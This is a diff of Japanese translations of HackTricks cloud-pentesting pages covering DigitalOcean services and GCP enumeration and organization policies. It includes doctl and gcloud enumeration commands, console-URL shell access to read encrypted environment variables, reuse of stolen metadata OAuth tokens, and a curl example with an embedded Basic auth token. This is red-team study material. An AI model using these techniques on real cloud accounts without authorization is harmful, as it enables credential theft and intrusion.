**env var**を定義する際には、**暗号化**されたものとして設定できます。その値を**取得**する唯一の方法は、アプリを実行しているホスト内で**コマンド**を実行することです。
@@ -25,7 +25,7 @@ doctl apps list-regions # Get available regions and the default one
### RCE & 暗号化された環境変数
アプリを実行しているコンテナ内で直接コードを実行するには、**コンソールへのアクセス**が必要で、**`https://cloud.digitalocean.com/apps/<app-id>/console/<app-name>`**に移動します。
アプリを実行しているコンテナ内でコードを直接実行するには、**コンソールへのアクセス**が必要で、**`https://cloud.digitalocean.com/apps/<app-id>/console/<app-name>`**に移動します。
これにより、**シェル**が得られ、**`env`**を実行することで、**すべての環境変数**(**暗号化**されたものを含む)を見ることができます。
@@ -4,7 +4,7 @@
## 基本情報
DigitalOcean Container Registryは、**Dockerイメージを保存および管理することを可能にする**、DigitalOceanが提供するサービスです。これは**プライベート**レジストリであり、保存したイメージはあなたと、あなたがアクセスを許可したユーザーのみがアクセスできます。これにより、Dockerイメージを安全に保存および管理し、DigitalOceanやDockerをサポートする他の環境でコンテナをデプロイするために使用できます。
DigitalOcean Container Registryは、**Dockerイメージを保存および管理することを可能にする**、DigitalOceanが提供するサービスです。これは**プライベート**レジストリであり、保存したイメージはあなたと、アクセスを許可したユーザーのみがアクセスできます。これにより、Dockerイメージを安全に保存および管理し、DigitalOceanやDockerをサポートする他の環境でコンテナをデプロイするために使用できます。
Container Registryを作成する際には、Kubernetesクラスターのすべてのネームスペースで**プルイメージアクセス(読み取り)を持つシークレットを作成することが可能です**。
@@ -4,13 +4,13 @@
## 基本情報
DigitalOcean Databasesを使用すると、基盤となるインフラストラクチャを気にすることなく、**クラウド内でデータベースを簡単に作成および管理**できます。このサービスは、**MySQL**、**PostgreSQL**、**MongoDB**、および**Redis**など、さまざまなデータベースオプションを提供し、データベースの管理および監視のためのツールを提供します。DigitalOcean Databasesは、高いスケーラビリティ、信頼性、およびセキュリティを備えており、現代のアプリケーションやウェブサイトを支える理想的な選択肢です。
DigitalOcean Databasesを使用すると、基盤となるインフラストラクチャを気にすることなく、**クラウド内でデータベースを簡単に作成および管理**できます。このサービスは、**MySQL**、**PostgreSQL**、**MongoDB**、および**Redis**を含むさまざまなデータベースオプションを提供し、データベースの管理および監視のためのツールを提供します。DigitalOcean Databasesは、高いスケーラビリティ、信頼性、およびセキュリティを備えており、現代のアプリケーションやウェブサイトを支える理想的な選択肢です。
### 接続の詳細
データベースを作成する際に、**パブリックネットワークからアクセス可能**にするか、**VPC**内からのみアクセス可能にするかを選択できます。さらに、**アクセスできるIPをホワイトリストに登録する**必要があります(あなたのIPv4がその一つになる可能性があります)。
**ホスト**、**ポート**、**dbname**、**ユーザー名**、および**パスワード**は**コンソール**に表示されます。安全に接続するためにAD証明書をダウンロードすることもできます。
**ホスト**、**ポート**、**dbname**、**username**、および**password**は**コンソール**に表示されます。安全に接続するためにAD証明書をダウンロードすることもできます。
```bash
sql -h db-postgresql-ams3-90864-do-user-2700959-0.b.db.ondigitalocean.com -U doadmin -d defaultdb -p 25060
```
@@ -4,7 +4,7 @@
## 基本情報
DigitalOceanにおいて、「ドロップレット」はv**irtual private server (VPS)**であり、ウェブサイトやアプリケーションをホストするために使用できます。ドロップレットは、特定のCPU、メモリ、ストレージの量を含む**事前構成されたコンピューティングリソースのパッケージ**であり、DigitalOceanのクラウドインフラストラクチャ上迅速かつ簡単に展開できます。
DigitalOceanにおいて、「ドロップレット」はv**irtual private server (VPS)**であり、ウェブサイトやアプリケーションをホストするために使用できます。ドロップレットは、特定のCPU、メモリ、ストレージの量を含む**事前構成されたコンピューティングリソースのパッケージ**であり、DigitalOceanのクラウドインフラストラクチャ上迅速かつ簡単に展開できます。
**一般的なOS**や、すでに稼働している**アプリケーション**WordPress、cPanel、Laravelなど)を選択することができ、または**自分のイメージ**をアップロードして使用することもできます。
@@ -16,9 +16,9 @@ DigitalOceanにおいて、「ドロップレット」はv**irtual private serve
DigitalOceanにおいて、スナップショットはドロップレットのディスクの時点コピーです。スナップショットが取得された時点でのドロップレットのディスクの状態をキャプチャし、オペレーティングシステム、インストールされたアプリケーション、ディスク上のすべてのファイルとデータを含みます。
スナップショットは、元のドロップレットと同じ構成の新しいドロップレットを作成するためや、スナップショットが取得された時点の状態にドロップレットを復元するために使用できます。スナップショットはDigitalOceanのオブジェクトストレージサービスに保存され、増分であるため、最後のスナップショット以降の変更のみが保存されます。これにより、効率的に使用でき、コスト効果も高くなります。
スナップショットは、元のドロップレットと同じ構成の新しいドロップレットを作成するためや、スナップショットが取得された時点の状態にドロップレットを復元するために使用できます。スナップショットはDigitalOceanのオブジェクトストレージサービスに保存され、増分であるため、前回のスナップショット以降の変更のみが保存されます。これにより、効率的に使用でき、コスト効果も高くなります。
一方、バックアップはドロップレットの完全なコピーであり、オペレーティングシステム、インストールされたアプリケーション、ファイル、データ、さらにドロップレットの設定とメタデータを含みます。バックアップは通常、定期的に実行され、特定の時点でのドロップレットの全体の状態をキャプチャします。
一方、バックアップはドロップレットの完全なコピーであり、オペレーティングシステム、インストールされたアプリケーション、ファイル、データ、ドロップレットの設定とメタデータを含みます。バックアップは通常、定期的に実行され、特定の時点でのドロップレットの全体の状態をキャプチャします。
スナップショットとは異なり、バックアップは圧縮され暗号化された形式で保存され、DigitalOceanのインフラストラクチャからリモートの場所に転送されて安全に保管されます。これにより、バックアップは災害復旧に理想的であり、データ損失やその他の重大なイベントが発生した場合に復元できるドロップレットの完全なコピーを提供します。
@@ -33,7 +33,7 @@ DigitalOceanにおいて、スナップショットはドロップレットの
### ファイアウォール
> [!CAUTION]
> デフォルトでは**ドロップレットはファイアウォールなしで作成されます**(AWSやGCPなどの他のクラウドとは異なります)。したがって、DOがドロップレット(VM)のポートを保護することを望む場合は、**作成して接続する**必要があります。
> デフォルトでは**ドロップレットはファイアウォールなしで作成されます**(AWSやGCPなどの他のクラウドとは異なります)。したがって、ドロップレット(VM)のポートをDOに保護させたい場合は、**作成して接続する**必要があります。
詳細は以下を参照してください:
@@ -68,12 +68,12 @@ doctl compute certificate list
doctl compute snapshot list
```
> [!CAUTION]
> **Dropletsにはメタデータエンドポイントがありますが、DOには** IAM **やAWSのロール、GCPのサービスアカウントのようなものはありません。**
> **Dropletsにはメタデータエンドポイントがありますが、DOにはIAMやAWSのロール、GCPのサービスアカウントのようなものはありません。**
### RCE
コンソールにアクセスすると、**URLにアクセスすることでドロップレット内でシェルを取得することが可能です**: **`https://cloud.digitalocean.com/droplets/<droplet-id>/terminal/ui/`**
コンソールにアクセスすると、**ドロップレット内でシェルを取得する**ことが可能で、URLにアクセスします: **`https://cloud.digitalocean.com/droplets/<droplet-id>/terminal/ui/`**
**`https://cloud.digitalocean.com/droplets/<droplet-id>/console`**にアクセスしてホスト内でコマンドを実行するための**リカバリーコンソール**を起動することも可能です(ただし、この場合はルートパスワードを知っている必要があります)。
ホスト内でコマンドを実行するために**リカバリーコンソール**を起動することも可能で、**`https://cloud.digitalocean.com/droplets/<droplet-id>/console`**にアクセスしす(ただし、この場合はルートパスワードを知っている必要があります)。
{{#include ../../../banners/hacktricks-training.md}}
@@ -4,7 +4,7 @@
## 基本情報
DigitalOcean Functions、または「DO Functions」として知られるこのサービスは、**基盤となるインフラストラクチャを気にせずにコードを実行できる**サーバーレスコンピューティングプラットフォームです。DO Functionsを使用すると、**API**、**HTTPリクエスト**(有効な場合)または**cron**を介して**トリガー**できる「関数」としてコードを書いてデプロイできます。これらの関数は完全に管理された環境で実行されるため、**スケーリング、セキュリティ、またはメンテナンスを気にする必要はありません**。
DigitalOcean Functions、または「DO Functions」として知られるこのサービスは、**基盤となるインフラストラクチャを気にせずにコードを実行できる**サーバーレスコンピューティングプラットフォームです。DO Functionsを使用すると、**API**、**HTTPリクエスト**(有効な場合)または**cron**を介して**トリガー**できる「関数」としてコードを記述し、デプロイできます。これらの関数は完全に管理された環境で実行されるため、**スケーリング、セキュリティ、またはメンテナンスを心配する必要はありません**。
DOで関数を作成するには、まず**名前空間を作成**する必要があります。これが**関数をグループ化**します。\
その名前空間内で関数を作成できます。
@@ -17,11 +17,11 @@ curl -X POST "https://faas-lon1-129376a7.doserverless.co/api/v1/namespaces/fn-c1
-H "Content-Type: application/json" \
-H "Authorization: Basic MGU0NTczZGQtNjNiYS00MjZlLWI2YjctODk0N2MyYTA2NGQ4OkhwVEllQ2t4djNZN2x6YjJiRmFGc1FERXBySVlWa1lEbUxtRE1aRTludXA1UUNlU2VpV0ZGNjNqWnVhYVdrTFg="
```
この**`doctl`** CLIツールがこのトークンをどのように取得しているかを確認するために(再現できるように)、**次のコマンド完全なネットワークトレースを表示します**
**`doctl`** CLIツールがこのトークンをどのように取得しているかを確認するに(再現できるように)、**次のコマンド完全なネットワークトレースを表示します:**
```bash
doctl serverless connect --trace
```
**HTTPトリガーが有効な場合**、ウェブ関数はこれらの**HTTPメソッド GETPOSTPUTPATCHDELETEHEADOPTIONS**を通じて呼び出すことができます。
**HTTPトリガーが有効な場合**、ウェブ関数はこれらの**HTTPメソッド GET, POST, PUT, PATCH, DELETE, HEAD および OPTIONS**を通じて呼び出すことができます。
> [!CAUTION]
> DO関数では、**環境変数は暗号化できません**(この執筆時点で)。\
@@ -4,11 +4,11 @@
## 基本情報
DigitalOcean Imagesは、**新しいDroplets(仮想マシン)をDigitalOcean上で作成するために使用できる、事前構築されたオペレーティングシステムまたはアプリケーションのイメージ**です。これらは仮想マシンのテンプレートに似ており、**必要なオペレーティングシステム**とアプリケーションを持つ新しいDropletsを**迅速かつ簡単に作成する**ことを可能にします。
DigitalOcean Imagesは、**新しいDroplets(仮想マシン)をDigitalOcean上で作成するために使用できる、事前構築されたオペレーティングシステムまたはアプリケーションのイメージ**です。これらは仮想マシンのテンプレートに似ており、必要なオペレーティングシステムとアプリケーションを持つ新しいDropletsを**迅速かつ簡単に作成する**ことを可能にします。
DigitalOceanは、Ubuntu、CentOS、FreeBSDなどの人気のあるオペレーティングシステムや、LAMP、MEAN、LEMPスタックなどの事前構成されたアプリケーションイメージを含む、幅広いImagesを提供しています。また、自分自身のカスタムImagesを作成したり、コミュニティからのImagesを使用したりすることもできます。
DigitalOceanで新しいDropletを作成する際には、Dropletの基盤として使用するImagesを選択できます。これにより、新しいDropletにオペレーティングシステムと事前インストールされたアプリケーションが自動的にインストールされるため、すぐに使用を開始できます。Imagesは、Dropletsのスナップショットやバックアップを作成するためにも使用できるため、将来的に同じ構成から新しいDropletsを簡単に作成できます。
DigitalOceanで新しいDropletを作成する際には、Dropletの基盤として使用するImageを選択できます。これにより、新しいDropletにオペレーティングシステムと事前インストールされたアプリケーションが自動的にインストールされるため、すぐに使用を開始できます。Imagesは、Dropletsのスナップショットやバックアップを作成するためにも使用できるため、将来的に同じ構成から新しいDropletsを簡単に作成できます。
### 列挙
```
@@ -1,4 +1,4 @@
# DO - ネットワーキング
# DO - Networking
{{#include ../../../banners/hacktricks-training.md}}
@@ -23,10 +23,10 @@ doctl compute load-balancer add-forwarding-rules <id> --forwarding-rules entry_p
```
doctl vpcs list
```
### Firewall
### ファイアウォール
> [!CAUTION]
> デフォルトでは**ドロップレットはファイアウォールなしで作成されます**(AWSやGCPなどの他のクラウドとは異なります)。したがって、DOがドロップレット(VM)のポートを保護することを望む場合は、**作成して接続する必要があります**
> デフォルトでは**ドロップレットはファイアウォールなしで作成されます**(AWSやGCPなどの他のクラウドとは異なります)。したがって、DOがドロップレット(VM)のポートを保護することを望む場合は、**作成してアタッチする**必要があります。
```bash
doctl compute firewall list
doctl compute firewall list-by-droplet <droplet-id>
@@ -1,11 +1,11 @@
# DO - Projects
# DO - プロジェクト
{{#include ../../../banners/hacktricks-training.md}}
## 基本情報
> プロジェクトは、すべての**サービス**(ドロップレット、スペース、データベース、クバネティス...)が**内部で一緒に実行される**ためのコンテナです。\
> 詳細については、次を確認してください:
> プロジェクトは、すべての**サービス**(ドロップレット、スペース、データベース、Kubernetes...)が**内部で一緒に実行される**ためのコンテナです。\
> 詳細については、次を確認してください
{{#ref}}
../do-basic-information.md
@@ -13,7 +13,7 @@
### 列挙
ユーザーがアクセスできるすべてのプロジェクトと、プロジェクト内で実行されているすべてのリソースを**簡単に列挙する**ことが可能です:
ユーザーがアクセスできるすべてのプロジェクトと、プロジェクト内で実行されているすべてのリソースを**簡単に列挙する**ことが可能です
```bash
doctl projects list # Get projects
doctl projects resources list <proj-id> # Get all the resources of a project
@@ -4,18 +4,18 @@
## 基本情報
DigitalOcean Spacesは**オブジェクトストレージサービス**です。ユーザーは**大量のデータ**(画像やその他のファイルなど)をスケーラブルでコスト効率の良い方法で**保存および提供**することができます。SpacesはDigitalOceanコントロールパネルまたはDigitalOcean APIを介してアクセスでき、Droplets(仮想プライベートサーバー)やLoad Balancersなどの他のDigitalOceanサービスと統合されています。
DigitalOcean Spacesは**オブジェクトストレージサービス**です。ユーザーは**大量のデータ**(画像やその他のファイルなど)をスケーラブルでコスト効果の高い方法で**保存および提供**することができます。SpacesはDigitalOceanコントロールパネルまたはDigitalOcean APIを介してアクセスでき、Droplets(仮想プライベートサーバー)やLoad Balancersなどの他のDigitalOceanサービスと統合されています。
### アクセス
Spacesは**公開**(誰でもインターネットからアクセス可能)または**非公開**(認可されたユーザーのみ)にすることができます。コントロールパネルの外部からプライベートスペースのファイルにアクセスするには、**アクセスキー**と**シークレット**を生成する必要があります。これらは、あなたのSpaceへのアクセスを許可するための**ユーザー名**と**パスワード**として機能する一対のランダムトークンです。
Spacesは**公開**(誰でもインターネットからアクセス可能)または**非公開**(認可されたユーザーのみ)にすることができます。コントロールパネルの外部からプライベートスペースのファイルにアクセスするには、**アクセスキー**と**シークレット**を生成する必要があります。これらは、スペースへのアクセスを許可するための**ユーザー名**と**パスワード**として機能するランダムトークンのペアです。
**スペースのURL**は次のようになります: **`https://uniqbucketname.fra1.digitaloceanspaces.com/`**\
**サブドメイン**としての**リージョン**に注意してください。
**スペース**が**公開**であっても、その中の**ファイル**は**非公開**である可能性があります(資格情報がないとアクセスできません)。
ただし、**ファイルが非公開**であっても、コンソールからは次のようなリンクを使用してファイルを共有することが可能です: `https://fra1.digitaloceanspaces.com/uniqbucketname/filename?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=DO00PL3RA373GBV4TRF7%2F20221213%2Ffra1%2Fs3%2Faws4_request&X-Amz-Date=20221213T121017Z&X-Amz-Expires=3600&X-Amz-SignedHeaders=host&X-Amz-Signature=6a183dbc42453a8d30d7cd2068b66aeb9ebc066123629d44a8108115def975bc` 一定の期間:
ただし、**ファイルが非公開**であっても、コンソールからは次のようなリンクファイルを共有することが可能です: `https://fra1.digitaloceanspaces.com/uniqbucketname/filename?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=DO00PL3RA373GBV4TRF7%2F20221213%2Ffra1%2Fs3%2Faws4_request&X-Amz-Date=20221213T121017Z&X-Amz-Expires=3600&X-Amz-SignedHeaders=host&X-Amz-Signature=6a183dbc42453a8d30d7cd2068b66aeb9ebc066123629d44a8108115def975bc` 一定の期間のために:
<figure><img src="../../../images/image (277).png" alt=""><figcaption></figcaption></figure>
@@ -4,7 +4,7 @@
## 基本情報
DigitalOceanボリュームは**ブロックストレージ**デバイスであり、**Dropletsに接続および切断**できます。ボリュームは、データベースやファイルストレージなど、Droplet自体とは独立して**永続化**する必要がある**データ保存**に便利です。サイズ変更が可能で、複数のDropletsに接続でき、バックアップ用にスナップショットを作成できます。
DigitalOcean ボリュームは **ブロックストレージ** デバイスで、**Droplets に接続および切断** できます。ボリュームは、データベースやファイルストレージなど、Droplet 自体とは独立して **永続化** する必要がある **データ保存** するのに便利です。サイズ変更が可能で、複数の Droplets に接続でき、バックアップ用にスナップショットを作成できます。
### 列挙
```
+20 -20
View File
@@ -73,7 +73,7 @@ gcloud auth print-identity-token #Get info from the token
#If you compromised a metadata token or somehow found an OAuth token
curl -H "Content-Type: application/x-www-form-urlencoded" -d "access_token=<token>" https://www.googleapis.com/oauth2/v1/tokeninfo
```
ユーザーに関する詳細情報を取得するには、APIエンドポイント `/userinfo` を使用することもできます:
APIエンドポイント `/userinfo` を使用して、ユーザーに関する詳細情報を取得することもできます:
```bash
curl -H "Content-Type: application/x-www-form-urlencoded" -H "Authorization: OAuth $(gcloud auth print-access-token)" https://www.googleapis.com/oauth2/v1/userinfo
@@ -86,11 +86,11 @@ gcloud organizations list #The DIRECTORY_CUSTOMER_ID is the Workspace ID
gcloud resource-manager folders list --organization <org_number> # Get folders
gcloud projects list # Get projects
```
### プリンシパルとIAM列挙
### Principals & IAM Enumeration
十分な権限がある場合、**GCPアカウント内の各エンティティの権限を確認すること**は、あなたや他のアイデンティティが何をできるか、また**権限を昇格させる方法**を理解するのに役立ちます。
IAMを列挙するための十分な権限がない場合、**ブルートフォースで盗む**ことでそれを把握できます。\
IAMを列挙するための十分な権限がない場合、**ブルートフォースで盗む**ことでそれを把握することができます。\
**列挙とブルートフォースの方法**については、以下を確認してください:
{{#ref}}
@@ -98,12 +98,12 @@ gcp-services/gcp-iam-and-org-policies-enum.md
{{#endref}}
> [!NOTE]
> 現在、**あなたの資格情報に関する情報を持っている**(そして、もしあなたがレッドチームであれば、希望的には**検出されていない**)ので、環境で使用されているサービスを特定する時が来ました。\
> 現在、**あなたの資格情報に関する情報を持っている**(そして、もしあなたがレッドチームであれば、幸運にも**検出されていない**ことを願います)。環境で使用されているサービスを特定する時が来ました。\
> 次のセクションでは、**一般的なサービスを列挙する方法**をいくつか確認できます。
## サービス列挙
## Services Enumeration
GCPには驚くべき数のサービスがあります。以下のページでは、**基本情報、列挙**のチートシート、**検出を回避する方法**、**持続性**を得る方法、その他の**ポストエクスプロイト**のトリックについての情報を見つけることができます:
GCPには驚くべき数のサービスがあります。のページでは、**基本情報、列挙**のチートシート、**検出を回避する方法**、**持続性**を得る方法、その他の**ポストエクスプロイト**のトリックについての情報を見つけることができます:
{{#ref}}
gcp-services/
@@ -111,15 +111,15 @@ gcp-services/
すべての作業を**手動で**行う必要はないことに注意してください。この投稿の下部には、[**自動ツール**](./#automatic-tools)に関する**セクション**があります。
さらに、この段階で**認証されていないユーザーに公開されているサービスを**発見するかもしれません。それを悪用できるかもしれません:
さらに、この段階で**認証されていないユーザーに公開されているサービスを**発見した場合、それを悪用できるかもしれません:
{{#ref}}
gcp-unauthenticated-enum-and-access/
{{#endref}}
## 権限昇格、ポストエクスプロイト&持続性
## Privilege Escalation, Post Exploitation & Persistence
クラウドの資格情報を取得したり、クラウド内で実行されているサービスを侵害した後の最も一般的な方法は、**侵害されたアカウントが持つ設定された権限を悪用すること**です。したがって、最初に行うべきことは、自分の権限を列挙することです。
クラウドの資格情報を取得したり、クラウド内で実行されているサービスを侵害した後の最も一般的な方法は、侵害されたアカウントが持つ**誤って設定された権限を悪用すること**です。したがって、最初に行うべきことは、自分の権限を列挙することです。
さらに、この列挙中に、**権限は「組織」の最高レベルで設定できる**ことを忘れないでください。
@@ -135,31 +135,31 @@ gcp-post-exploitation/
gcp-persistence/
{{#endref}}
### 公開されたサービス
### Publicly Exposed Services
GCPサービスを列挙していると、いくつかのサービスが**インターネットに要素を公開している**ことに気付くかもしれません(VM/コンテナのポート、データベースやキューサービス、スナップショットやバケットなど)。\
ペンテスター/レッドチームのメンバーとして、常にそれらに**機密情報/脆弱性**がないか確認すべきです。これにより、**AWSアカウントへのさらなるアクセス**を得られるかもしれません。
GCPサービスを列挙しているときに、いくつかのサービスが**インターネットに要素を公開している**のを見つけたかもしれません(VM/コンテナのポート、データベースやキューサービス、スナップショットやバケットなど)。\
ペンテスター/レッドチームのメンバーとして、れらに**機密情報脆弱性**がないか常に確認すべきです。これにより、**AWSアカウントへのさらなるアクセス**を得ることができるかもしれません。
この本では、**公開されたGCPサービスを見つける方法とそれを確認する方法**に関する**情報**を見つけることができるはずです。**公開されたネットワークサービスの脆弱性を見つける方法**については、特定の**サービス**を以下で**検索**することをお勧めします:
この本では、**公開されたGCPサービスを見つける方法とそれを確認する方法**に関する**情報**を見つけることができす。**公開されたネットワークサービスの脆弱性を見つける方法**については、特定の**サービス**を以下で**検索**することをお勧めします:
{{#ref}}
https://book.hacktricks.xyz/
{{#endref}}
## GCP <--> Workspace ピボッティング
## GCP <--> Workspace Pivoting
**一つの**プラットフォームでプリンシパル**侵害すること**は、攻撃者が**他のプラットフォームを侵害する**ことを可能にするかもしれません。以下を確認してください:
**一つの**プラットフォームでプリンシパル**侵害**は、攻撃者が**他のプラットフォームを侵害する**ことを可能にするかもしれません。以下を確認してください:
{{#ref}}
gcp-to-workspace-pivoting/
{{#endref}}
## 自動ツール
## Automatic Tools
- **GCloudコンソール**では、[https://console.cloud.google.com/iam-admin/asset-inventory/dashboard](https://console.cloud.google.com/iam-admin/asset-inventory/dashboard)でプロジェクトによって使用されているリソースとIAMを確認できます。
- このAPIでサポートされている資産を確認できます:[https://cloud.google.com/asset-inventory/docs/supported-asset-types](https://cloud.google.com/asset-inventory/docs/supported-asset-types)
- [**複数のクラウドで使用できるツール**](../pentesting-cloud-methodology.md)を確認してください。
- [**gcp_scanner**](https://github.com/google/gcp_scanner):これは、GCP上で**特定の資格情報が持つアクセスレベル**を判断するのに役立つGCPリソーススキャナーです。
- [**gcp_scanner**](https://github.com/google/gcp_scanner):これは、GCP上で特定の資格情報が持つ**アクセスレベル**を判断するのに役立つGCPリソーススキャナーです。
```bash
# Install
git clone https://github.com/google/gcp_scanner.git
@@ -189,9 +189,9 @@ gcloud auth application-default print-access-token
# Update gcloud
gcloud components update
```
### Capture gcloud, gsutil... network
### gcloudgsutil... ネットワークのキャプチャ
**`gcloud`** CLIで**リクエスト**を**表示**するために、**パラメータ** **`--log-http`**を使用できることを忘れないでください。ログがトークン値を隠さないようにするには、`gcloud config set log_http_redact_token false`を使用します。
**`gcloud`** cliで**リクエスト**を**印刷**するために、**パラメータ** **`--log-http`**を使用できることを忘れないでください。ログがトークン値を隠さないようにするには、`gcloud config set log_http_redact_token false`を使用します。
さらに、通信を傍受するには:
```bash
@@ -212,7 +212,7 @@ gcloud config unset core/custom_ca_certs_file
```
### gcloudでのOAuthトークンの設定
**メタデータエンドポイントからの流出したサービスアカウントOAuthトークンを使用するためには**、次のようにするだけです:
**メタデータエンドポイントから抽出されたサービスアカウントOAuthトークンを使用するためには**、次のようにするだけです:
```bash
# Via env vars
export CLOUDSDK_AUTH_ACCESS_TOKEN=<token>
@@ -4,7 +4,7 @@
## **リソース階層**
Google Cloudは、従来のファイルシステムに概念的に似た[リソース階層](https://cloud.google.com/resource-manager/docs/cloud-platform-resource-hierarchy)を使用しています。これにより、ポリシーや権限の特定のアタッチメントポイントを持つ論理的な親/子ワークフローが提供されます。
Google Cloudは、従来のファイルシステムに概念的に似た[リソース階層](https://cloud.google.com/resource-manager/docs/cloud-platform-resource-hierarchy)を使用しています。これにより、ポリシーや権限のための特定のアタッチメントポイントを持つ論理的な親/子ワークフローが提供されます。
高レベルでは、次のようになります:
```
@@ -19,7 +19,7 @@ Organization
## **プロジェクトの移行**
**組織なしでプロジェクトを移行することが可能**であり、必要な権限は`roles/resourcemanager.projectCreator``roles/resourcemanager.projectMover`です。プロジェクトが他の組織内にある場合、**最初にその組織から移動するためにGCPサポートに連絡する必要があります**。詳細については[**こちら**](https://medium.com/google-cloud/migrating-a-project-from-one-organization-to-another-gcp-4b37a86dd9e6)を確認してください。
**組織なしでプロジェクトを移行することが可能です**。必要な権限は`roles/resourcemanager.projectCreator``roles/resourcemanager.projectMover`です。プロジェクトが他の組織内にある場合、**最初にその組織から移動するためにGCPサポートに連絡する必要があります**。詳細については[**こちら**](https://medium.com/google-cloud/migrating-a-project-from-one-organization-to-another-gcp-4b37a86dd9e6)を確認してください。
## **組織ポリシー**
@@ -29,16 +29,16 @@ Organization
- 開発チームがコンプライアンスの境界内に留まるための**ガードレール**を定義し、確立する。
- プロジェクトオーナーとそのチームがコンプライアンスを破る心配なく迅速に移動できるように支援します。
これらのポリシーは、**組織全体、フォルダー、またはプロジェクトに影響を与える**ように作成できます。ターゲットリソース階層ノードの子孫は**組織ポリシーを継承します**。
これらのポリシーは、**組織全体、フォルダー、またはプロジェクトに影響を与えるように作成できます**。ターゲットリソース階層ノードの子孫は**組織ポリシーを継承します**。
**組織ポリシーを定義するために、特定のGoogle CloudサービスまたはGoogle Cloudサービスのグループに対する制限の特定のタイプである[**制約**](https://cloud.google.com/resource-manager/docs/organization-policy/overview#constraints)を選択します。**その制約を希望する制限で**構成します。
**組織ポリシーを定義するために、** [**制約**](https://cloud.google.com/resource-manager/docs/organization-policy/overview#constraints)を選択します。これは、Google CloudサービスまたはGoogle Cloudサービスのグループに対する特定の種類の制限です。**その制約を希望する制限で構成します**
<figure><img src="../../../images/image (217).png" alt=""><figcaption><p><a href="https://cloud.google.com/resource-manager/img/org-policy-concepts.svg">https://cloud.google.com/resource-manager/img/org-policy-concepts.svg</a></p></figcaption></figure>
#### 一般的な使用例 <a href="#common_use_cases" id="common_use_cases"></a>
- ドメインに基づいてリソース共有を制限する。
- アイデンティティおよびアクセス管理サービスアカウントの使用を制限する。
- アイデンティティアクセス管理サービスアカウントの使用を制限する。
- 新しく作成されたリソースの物理的な場所を制限する。
- サービスアカウントの作成を無効にする。
@@ -54,37 +54,37 @@ Organization
**アクセス管理ポリシー**
- **ドメイン制限付き連絡先:** 指定されたドメイン外のEssential Contactsにユーザーを追加することを防ぎます。これにより、Essential Contactsは選択したドメイン内の管理されたユーザーIDのみがプラットフォーム通知を受け取ることを許可します。
- **ドメイン制限付き共有:** 指定されたドメイン外のIAMポリシーにユーザーを追加することを防ぎます。これにより、IAMポリシーは選択したドメイン内の管理されたユーザーIDのみがこの組織内のリソースにアクセスすることを許可します。
- **パブリックアクセス防止:** Cloud Storageバケットが公開されるのを防ぎます。これにより、開発者Cloud Storageバケットを認証されていないインターネットアクセスを持つように構成できなくなります。
- **均一なバケットレベルアクセス:** Cloud Storageバケット内のオブジェクトレベルアクセス制御リスト(ACL)を防ぎます。これにより、Cloud Storageバケット内のすべてのオブジェクトに一貫してIAMポリシーを適用することでアクセス管理が簡素化されます。
- **ドメイン制限付き連絡先:** 指定されたドメイン外のEssential Contactsにユーザーを追加することを防ぎます。これにより、選択したドメイン内の管理されたユーザーIDのみがプラットフォーム通知を受け取ることができます。
- **ドメイン制限付き共有:** 指定されたドメイン外のIAMポリシーにユーザーを追加することを防ぎます。これにより、選択したドメイン内の管理されたユーザーIDのみがこの組織内のリソースにアクセスできるようになります。
- **パブリックアクセス防止:** Cloud Storageバケットがパブリックに公開されるのを防ぎます。これにより、開発者Cloud Storageバケットを認証されていないインターネットアクセスに設定できなくなります。
- **均一なバケットレベルアクセス:** Cloud Storageバケット内のオブジェクトレベルアクセス制御リスト(ACL)を防ぎます。これにより、Cloud Storageバケット内のすべてのオブジェクトに一貫してIAMポリシーを適用することでアクセス管理が簡素化されます。
- **OSログインを要求:** 新しいプロジェクトで作成されたVMにはOSログインが有効になります。これにより、個別のSSHキーを作成および管理することなく、IAMを使用してインスタンスへのSSHアクセスを管理できます。
**サービスアカウントの追加セキュリティポリシー**
- **自動IAM付与を無効にする:** デフォルトのApp EngineおよびCompute Engineサービスアカウントがプロジェクト作成時に自動的にEditor IAMロールを付与されるのを防ぎます。これにより、サービスアカウントが作成時に過剰な権限を持つIAMロールを受け取ることがありません。
- **サービスアカウントキーの作成を無効にする:** 公開サービスアカウントキーの作成を防ぎます。これにより、永続的な資格情報が公開されるリスクが軽減されます。
- **サービスアカウントキーのアップロードを無効にする:** 公開サービスアカウントキーのアップロードを防ぎます。これにより、漏洩または再利用されたキーのリスクが軽減されます。
- **サービスアカウントキーの作成を無効にする:** パブリックサービスアカウントキーの作成を防ぎます。これにより、永続的な資格情報が公開されるリスクが軽減されます。
- **サービスアカウントキーのアップロードを無効にする:** パブリックサービスアカウントキーのアップロードを防ぎます。これにより、漏洩または再利用されたキーのリスクが軽減されます。
**セキュアなVPCネットワーク構成ポリシー**
- **VMインスタンスの許可された外部IPを定義する:** 公開IPを持つComputeインスタンスの作成を防ぎ、インターネットトラフィックにさらされる可能性があります。
- **VMインスタンスの許可された外部IPを定義する:** パブリックIPを持つComputeインスタンスの作成を防ぎ、インターネットトラフィックにさらされる可能性があります。
* **VMネストされた仮想化を無効にする:** Compute Engine VM上でネストされたVMの作成を防ぎます。これにより、監視されていないネストされたVMのセキュリティリスクが低減されます。
- **VMシリアルポートを無効にする:** Compute Engine VMへのシリアルポートアクセスを防ぎます。これにより、Compute Engine APIを使用してサーバーのシリアルポートへの入力が防止されます。
* **Cloud SQLインスタンスの承認されたネットワークを制限する:** 公開または非内部ネットワーク範囲がCloud SQLデータベースにアクセスするのを防ぎます。
* **Cloud SQLインスタンスの承認されたネットワークを制限する:** パブリックまたは非内部ネットワーク範囲がCloud SQLデータベースにアクセスするのを防ぎます。
- **IPアドレスのタイプに基づいてプロトコル転送を制限する:** 外部IPアドレスに対するVMプロトコル転送を防ぎます。
* **Cloud SQLインスタンスのパブリックIPアクセスを制限する:** 公開IPを持つCloud SQLインスタンスの作成を防ぎ、インターネットトラフィックにさらされる可能性があります。
* **Cloud SQLインスタンスのパブリックIPアクセスを制限する:** パブリックIPを持つCloud SQLインスタンスの作成を防ぎ、インターネットトラフィックにさらされる可能性があります。
- **共有VPCプロジェクトの担保削除を制限する:** 共有VPCホストプロジェクトの偶発的な削除を防ぎます。
- **共有VPCプロジェクトの担保削除を制限する:** 共有VPCホストプロジェクトの偶発的な削除を防ぎます。
* **新しいプロジェクトの内部DNS設定をゾナルDNSのみに設定する:** サービスの可用性が低下するレガシーDNS設定の使用を防ぎます。
